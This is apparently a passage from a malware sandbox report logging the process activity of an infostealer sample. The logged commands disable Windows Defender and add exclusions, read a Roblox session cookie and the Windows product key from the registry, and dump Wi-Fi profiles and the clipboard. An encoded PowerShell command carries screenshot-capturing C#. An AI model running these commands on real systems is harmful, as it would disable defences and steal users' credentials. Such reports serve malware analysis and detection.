0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES93BE.tmp" "c:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\program.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
